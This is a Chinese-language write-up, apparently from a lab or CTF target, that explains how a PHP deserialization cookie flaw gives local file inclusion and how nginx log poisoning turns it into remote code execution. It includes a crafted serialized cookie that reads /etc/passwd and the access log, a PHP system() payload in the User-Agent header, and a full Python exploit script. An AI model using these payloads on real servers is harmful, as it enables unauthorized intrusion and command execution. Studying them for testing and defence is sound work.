白帽故事 · 2023年11月20日 0

从LFI到RCE

发现

在某个网络应用程序上进行长达数小时的信息收集及‘侦查’后,Cookie引起了白帽小哥的注意。

PHPSESSID -PHPSESSID Cookie是PHP原生,使网站能够存储序列化的状态数据。它用于建立用户会话,并通过临时Cookie(通常称为会话Cookie)传递状态数据。(关闭浏览器时过期)。通常使用Base64编码格式

file

提示:尽量尝试解码一切可以解码的东西​

可以使用在线网站,如base64decode.org进行解码:

file

也可通过Python解码:

file

为什么s=15?那是因为/www/index.html 的长度刚好是15(熟悉PHP反序列化的童鞋们肯定不陌生)

LFI漏洞

Local File Inclusion是一种攻击技术,攻击者可以欺骗Web应用程序在Web服务器上运行或暴露文件。LFI攻击可能会暴露敏感信息,在严重的情况下,它们可能会导致跨站点脚本(XSS)和远程代码执行。

那么如果我们将/www/index. html替换为/etc/passwd会怎样?

通过python将修改后的Cookie发送,看看结果:

file

当然,也可以通过Burp来修改Cookie:

file

从LFI升级至RCE

远程代码执行(RCE)攻击允许攻击者在计算机上远程执行恶意代码。RCE漏洞的影响范围可以从恶意软件执行到攻击者获得对受害机器的完全控制。

从LFI漏洞升级到RCE的最简单方法是日志‘投毒’

日志投毒或日志注入是一种允许攻击者篡改日志文件内容的技术,例如将恶意代码插入服务器日志以远程执行命令或反弹Shell。只有当应用程序存在LFI漏洞时,它才有效。

在本案例中由于无法获取反弹Shell,因此只能尝试使用 "ls -lsa"-"ls -l" 列出目录。

LFI漏洞只允许读取/执行文件,而无法写入或创建新文件,那么我们要如何注入呢?可以考虑把日志添加到服务器文件中。

首先,我们需要知道服务器是哪种类型:

file

Nginx!那么日志一般会存放于/var/log/nginx/access.log

同样使用使用Python脚本来尝试访问日志文件:

file

很好!那么让我们看看是否可以通过使用“User-Agent”来添加日志。

在python脚本中,添加如下内容:

headers = {'User-Agent': 'Facundo Fernandez'}

file

查看响应:

file

很棒!那么尝试改成:

headers = {'User-Agent': "<?php system('ls -lsa');?>"

成功执行!

file

完整的python代码如下:

import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.

# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.

# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.

# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"} 

# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.